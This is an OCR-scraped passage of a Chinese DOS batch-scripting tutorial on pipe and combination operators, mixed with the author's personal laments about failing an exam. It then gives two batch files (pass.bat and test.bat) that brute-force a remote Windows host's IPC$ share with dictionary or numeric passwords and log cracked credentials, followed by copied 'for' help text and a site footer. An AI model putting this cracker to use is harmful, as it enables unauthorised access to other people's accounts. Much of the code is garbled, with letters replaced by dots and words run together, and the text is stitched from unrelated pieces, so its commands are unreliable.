那樣比較詳細的介紹,原因我已經說了,因為我也是個菜,我也不

太懂一一但我正在學!你呢?今天又去了一趟圖書館,淘金一樣

發現了一本叫《DOS批文件》的東東,藏在一個角落里落滿了灰,五

本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底

層和基礎的東西,雖然從思路上講,已經有點timeout了,很多東

西已經基本沒有利用的價值(這就是信息時代的更新速度),但還是

很值得看的。于是打算下午淘過來,放假回去了再好好研究一番,連

同那幾個不熟悉的命令一起搞熟了,再續寫這篇教程。我始終堅信,

沒有最好只有更好。

但是很可惜,等到下午再去的時候,圖書館樓梯口已經立了一個牌

子,上面寫著。utofservice一一人家這學期的工作結束了。于是

回到宿舍打算繼續寫第四章,正在這時又得到一個“振奮人心”的消

息:期末考試有一科掛了,而且是全班第-----這一門整個班里就

掛了我一個。郁悶的情緒剎那間涌上心頭,整個世界仿佛都變成黑的

了。食堂和小賣部已經陸續關門,學校里的人越來越少,迎面過來的

幾個同學也都一身行李,忙碌著準備回家過年,內心的孤寂和失落

如同夏日里暴雨前的烏云,迅速而不可抗拒的占領了心里每一個角

落。迎著一月的冷風我一個人在天橋上發呆,還能怎么樣,連期末考

試都應付不了的失敗男人。

“課間休息”時間好象長了點,呵呵,上課了!從這一章開始,將

詳細介紹批處理中常用的幾個組合命令和管道命令。這些命令雖然不

是必須的,如同愛一個人時不一定非得每天去陪,但如果少了這個

過程,事情就會變的復雜而不完美,所以我認為管道命令和組合命

令是批處理的調味劑,兒乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些:I、>、>>

1K|

這個命令恐怕大家不是很陌生,經常操作DOS的朋友都應該知道,

當我們查看一個命令的幫助時,如果幫助信息比較長,一屏幕顯示

不完時DOS并不給我們時間讓我們看完一屏幕再翻到另一屏幕,而

是直接顯示到幫助信息的最后。如在提示符下輸入help回車時,就

會看到當前DOS版本所支持的所有非隱含命令,但你只能看到最后

的那些命令,前面的早就一閃而過了,如何解決這個問題?看例

十三:

help|more

回車后會發現顯示滿一屏幕后就自動暫停,等候繼續顯示其他信息。

當按寫回車時,變成一個一個的出現;按下空格鍵時一屏幕一屏幕顯

示,直到全部顯示完為止;按其他鍵自動停止返回DOS。

為什么會出現上述現象?答案很簡單,這里結合了管道命令I和

DOS命令more來共同達到目的的。這里先簡單介紹一下help命令和

more命令,對理解|命令的用法有很大幫助。

U.Khelp命令。其實這個命令是不需要多說的,但在上述例子中

help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結

果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help

命令,如輸入netielp回車,則是顯示net命令的幫助信息。

11.2、more命令??赡芎芏嗯笥岩郧熬蜎]有接觸過這個命令,這個

命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一

篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較

一下差別:morea.txt和typea.txto利用more命令,可以達到逐

屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最

后的結果就是只能看到末尾的部分。在例十三里,more命令的作用

就是讓輸出的信息逐屏或逐行顯示。

看到這里,你是否已經能隱約感受到了I命令的作用了?沒錯,它

的作用,就是把前一命令的輸出當后一命令的輸入來用的。在例十三

里,前一命令的輸出,就是help命令執行后顯示的DOS所支持的所

有非隱含命令,而這個結果剛好做了后一命令more的輸入。所以例

十三和下面的例十四是等效的:

help>a.txt

morea.txt

dela.txt

這里利用另一管道命令》生成了一個a.txt文件作為中間環節,在用

more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作

是在內存中進行的,不生成文件)??梢钥闯?,正確使用管道命令I

可以帶來事半功倍的效果。

結合例十三和例十四,以及前面的例九再體會一遍:卜命令的作用,

就是讓前一命令的輸出當做后一命令的輸入。

12、>、?

這兩個命令的效果從本質上來說都是一樣的,他們都是輸出重定向

命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這

兩個命令的唯一區別是,〉會清除掉原有文件中的內容后把新的內容

寫入原文件,而>>只會另起一行追加新的內容到原文件中,而不會

改動其中的原有內容。例十五:

ech.@ech.of..a.ba.

ech.ech.Thi.i..pipelin.comman.example.>.a.bat

ech.ech.I.i.ver.easy.>.a.bat

ech.ech.Believ.you.self.>.a.bat

ech.paus.>.a.bat

ech.exi.>.a.bat

依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目

錄下生成一個a.bat文件,里面的內容如下:

@ech.of.

ech.Thi.i..pipelin.comman.example.

ech.I.i.ver.easy?

ech.Believ.you.self!

pause

exit

看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo

命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、

管道命令》和〉的區別如上所述。如果這里只用》命令來完成上面操

作,最后也會生成一個a.bat,但里面的內容就只剩下最后一行exit

了。所以>和>>一般都聯合起來用,除非你重定向的輸出只有一行,

那么就可以只用>了。結合例一再仔細體會輸出重定向管道命令》和〉

的用法。

13、<、>&、<&

這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就

okr,當然如果想仔細研究的話,可以自己查一下資料。

<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入.

>&,將一個句柄的輸出寫入到另一個句柄的輸入中.

<&,剛好和>&相反,從一個句柄讀取輸入并將其寫入到另一個句柄輸

出中。

關于這三個管道命令的舉例,在后面批處理腳本的精妙應用中還將涉

及到。

下面介紹組合命令:&、&&、11

組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執

行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡

單一一既然現在已經成了一個文件了,那么這多個命令就要用這些組

合命令連接起來放在同一行一一因為批處理認行不認命令數目。組合

命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不

一次把好話都說了出來,效果可能會好些一一當然得排除一種特殊情

況:這些話是否有先后順序,有些話是否可以同時說。在批處理腳本

里也一樣,有些時侯某些命令是不能同時執行的,后面給你說。

剛剛乂送走了一個同學,人去樓空的感覺越來越明顯,望著空蕩蕩的

床鋪,平日里喧鬧的宿舍就只剩下我一個人了,整個世界只有那個平

時令人非常討厭的老鼠這時候才顯得可愛起來一一只有它會陪著我

在這不敢開燈的漆黑夜里一一一個連期末考試都應付不了的失敗男

人。失?。∥腋械娇煲粑贿^來,這種失敗的壓力簡直令我窒息,

簡直讓我的手接收不到大腦的信號,簡直讓這篇未完成的教程夭折。

但我能怪誰?

忙碌了一學期要過年了卻掛了科,失敗;掛了科也倒罷了,竟然一個

人拖全班的后退,失敗中的失敗;更失敗的,是在這最失落的時候,

竟然找不到一個人可以傾訴;然而最失敗的,是突然發現自己竟然如

此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問

題:為什么明知道那段情是一個旋渦卻還心甘情愿的往里面跳一一

這就是青春,風一樣的年齡,火一樣不安的心。不再愛了,我不要再

一個人的時候苦苦等待;不再愛了,我不要在你給的囚籠里憐憫的愛;

不再愛了,我不要在別人的視線里如此可笑;不再愛,我不再愛c就

算塌下來,我也要一個人扛著,頭不能低腰不能彎,不能喘息不能傾

訴,因為雖然失敗,但還是男人,是男人就不能向困難低頭.

14、&

這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS

命令,并把這些命令按順序執行,而不管是否有命令執行失敗。例十

六:

cop.a.tx.b.tx./..de.a.tx.

其實這句和mov.a.tx.b.txt的效果是一樣的,只不過前者是分了兩

步來進行的(在后面還將涉及到具體使用哪種方法的問題)。這個命

令很簡單,就不多費口舌了,唯一需要注意的一點是,這里&兩邊的

命令是有執行順序的,從前往后執行。

15、&&

切記,這里介紹的幾個命令都是組合命令,所以他們前后都必須都有

其他命令(要不如何組合?)o這個命令也不例外,它可以把它前后

兩個命令組合起來當一個命令來用,及&命令不同之處在于,它在從

前往后依次執行被它連接的幾個命令時會芻動判斷是否有某個命令

執行出錯,一旦發現出錯后將不繼續執行后面剩下的命令。這就為我

們自動化完成一些任務提供了方便。例十七:

di.文件:〃1%/www/user.md.&.cop.文

件:〃1%/www/user.md.e:\backup\www

如果遠程主機存在user.mdb,則copy到本地e:\backup\www,如果

不存在當然就不執行copy了。這句對搞網管的朋友是否有點用呢?

呵呵。其實它和下面這句的作用是一樣的:

i.exis.^^://l%/^Wuser.md.cop.文

件:〃1%/www/user.md.e:\backup\www

至于你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一

個執行效率更高,所以不知道用哪個更好,呵呵。

你是否還記得“有些命令是不能同時執行的"?你是否相信這句話?

當然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出

到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很

easy的問題嗎?同時執行兩個dir,然后把得到的結果》到a.txt里

就ok了嘛,看例十八:

di.c:.&.di.d:..a.txt

仔細研究一下這句執行后的結果,看看是否能達到題目的要求!錯了!

這樣執行后a.txt里只有D盤的信息!為什么?就因為這里&&命令和>

命令不能同時出現一個句子里(批處理把一行看成一個句子)?。〗M合

命令&&的優先級沒有管道命令)的優先級高(自己總結的,不妥的地

方請指正)!所以這句在執行時將本分成這兩部分:di.c:\和

di.d:..a.txt,而并不是如你想的這兩部分:di.c:.&.di.d:\

和.a.txt。要使用組合命令&&達到題目的要求,必須得這么寫:

di.c:..a.tx.&.di.d:.>.a.txt

這樣,依據優先級高低,DOS將把這句話分成以下兩部分:dirc:\>

a.txt和dird:\>>a.txt。例十八中的兒句的差別比較特殊,值得

好好研究體會一下。

當然這里還可以利用&命令(自己想一下道理哦):

dirc:\>a.txt&dird:\>>a.txt

16、||

這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方

法在執行多條命令時,當遇到一個執行正確的命令就退出此命令組

合,不再繼續執行下面的命令。題目:查看當前目錄下是否有以S開

頭的exe文件,如果有則退出。例十九:

@echooff

dirs*.exe||exit

其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試

試就知道了嘛:如果存在那個exe文件,就退出;如果不存在那個

exe文件,也退出!為什么?因為如果不存在那個.exe文件,則前

一條命令dirs*.exe執行肯定是不成功的,所以就繼續執行exit,

自然就退出了,呵呵。那么如何解決題目給出的問題呢?看例二十:

?echooff

dirs*.exe||echoDidn'texistfiles*.exe&pause&exit

這樣執行的結果,就能達到題目的要求,是否存在s*.exe將出現兩

種結果。這里加暫停的意思,當然是讓你能看到echo輸出的內容,

否則一閃而過的窗口,echo就白寫了。

給出兩個更好研究優先級(同時也是更難理解)的腳本,仔細研究它

們的區別,以便徹底理解各種命令的優先級順序,對以后自己利用

這些命令寫腳本有很大的好處一一不會出錯!0K,請看例二十一和例

二十二:

例二H-一:

@echooff

dira.ttt/a&dira.txt||exit

例二十二:

?echooff

dira.ttt/a&&dira.txt||exit

警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大

如斗,重者血管爆裂。任何人由于研究這兩個腳本的區別而造成的任

何事故由自己或其合法監護人負責,及本人和本論壇無關。特此警

告!

有關管道命令和組合命令就大概介紹到這里了,不知道聰明的你是

否理解?呵呵,能理解就成天才了,除非你以前就己經掌握!千萬

別小看了這幾個鬼命令,大棒槌是我的說,簡直就不是人學的東西!

但我還是靜下心來研究了一番,最后得出的結論如上所述,已經一

點不剩的交給你了,希望你好好收藏并消化吸收,當然有錯誤被你

發現了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!

這幾個命令真的把我的頭都搞大了。在網上有一篇流傳很廣的批處理

教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。

在對for等命令介紹時就一個for/?>a.txt&starta.txt完事

/(當然這一點上我不能說人家什么,畢竟我連for/?都沒給出),

而對上述管道命令和組合命令、以及這篇教程以后將講到的用批處理

操作注冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令

和組合命令,是因為他們才是批處理的精華和靈魂,能否正確利用

好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS

命令的問題,可以從DOS的角度出發專門有針對性的學習,但有關

這兒個命令的問題,卻是不容易精通掌握的一一他們之間的關系太

復雜了!

將下列代碼存為bat文件

1、如果用字典破解:pass,bat字典文件路徑及名稱主機用戶名

2、如果用數字破解:pass.bat起始數步長結束數主機用戶名

密碼破解出來之后,存放于c:\pass.txt文件里面。

將下列代碼存為pass.bat文件

?echooff

echo

>>c:\pass.txt

echo

------->>c:\pass.txt

date/t>>c:\pass.txt

time/1>>c:\pass.txt

echo破解結果:>>c:\pass.txt

if〃%6〃=〃1〃goto大棒槌是我的說2

:大棒槌是我的說1

start〃正在破解〃/mincmd/cfor/f%%iin(%1)docall

test.bat%2%3

gotoquit

:大棒槌是我的說2

start〃正在破解〃/mincmd/cfor/I%%iin(%1,%2,%3)docall

test.bat%4%5

:quit

將下列代碼存為test.bat

netuse\\%l\ipc$%2/user:,,%3,/

gotoanswer%ERRORLEVEL%

rem%ERRORLEVEL%表示取前一命令執行返回結果,notuse成功返回I

0,失敗返回2

:answer0

echo遠程主機:〃%1〃>>c:\pass.txt

echo用戶:〃%3〃>>c:\pass.txt

echo密碼:%2?c:\pass.txt

netuse\\%l\ipc$/delet

exit

:answer2

For

對一組文件中的每個文件運行指定的命令。

可以在批處理程序中或直接從命令提示符使用for命令。

要在批處理程序中使用for命令,請使用以下語法:

for嬲variablein(set)docommand[command-parameters]

要在命令提示符下使用for,請使用以下語法:

for%variablein(set)docommand[command-parameters]

參數

厥variable或%varicible

代表可替換的參數。for命令使用在set中指定的每個文本字符串

替換%%variable(或%variable),直到此命令(在

command-parameters中指定)處理所有的文件為止。使用%%

variable在批處理程序中執行for命令。使用%variable通過命

令提不符執行for命令。變量名區分大小與。

(set)

指定要用指定的命令處理的一個或多個文件或文本字符串。需要括

號。

command

指定要在指定的set所包含的每個文件上執行的命令。

conunand-parameters

指定要用于指定命令(如果指定的命令要使用任何參數或開關)的任

何參數或開關。

如果啟用了命令擴展(Windows2000中的默認設置),將支持for

命令的其他形式。

Fo.命令的其他形式

如果啟用了命令擴展,將支持如?f。.命令的其他格式:

只限于目錄

fo./.[%..%]variabl.i.(set.docomman.[command-parameters.

如.se.包含通配符(..?),則指定及目錄名匹配,而不是文件名。

遞歸

fo./.[[driv.:]path.[%..%]variabl.i.(set.docomman.[command-p

arameters]

進入根目錄樹[drive:]path,在樹的每個目錄中執.fo.語句。如果./.

后沒有指定目錄,則假定為當前目錄。如.se.只是一個句.(,?字符,

則只列舉目錄樹。

迭代

fo./.[%..%]variabl.i.(start,step,

end.d.comman.[command-parameters]

集合是一系列按步長量劃分的、從頭到尾的數字。這樣,(1,1,5,將

生成序……5,.(5,-1,1.將生成序?(???,1)。

BAT文件技巧

文章結.

1.所有內置命令的幫助信.

2.環境變量的概.

3.內置的特殊符號(實際使用中間注意避開.

4.簡單批處理文件概.

5.附件.tmp.tx.

6.附件.sample,ba.

################*##########################################

##########.

1.所有內置命令的幫助信.

################[#######################

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論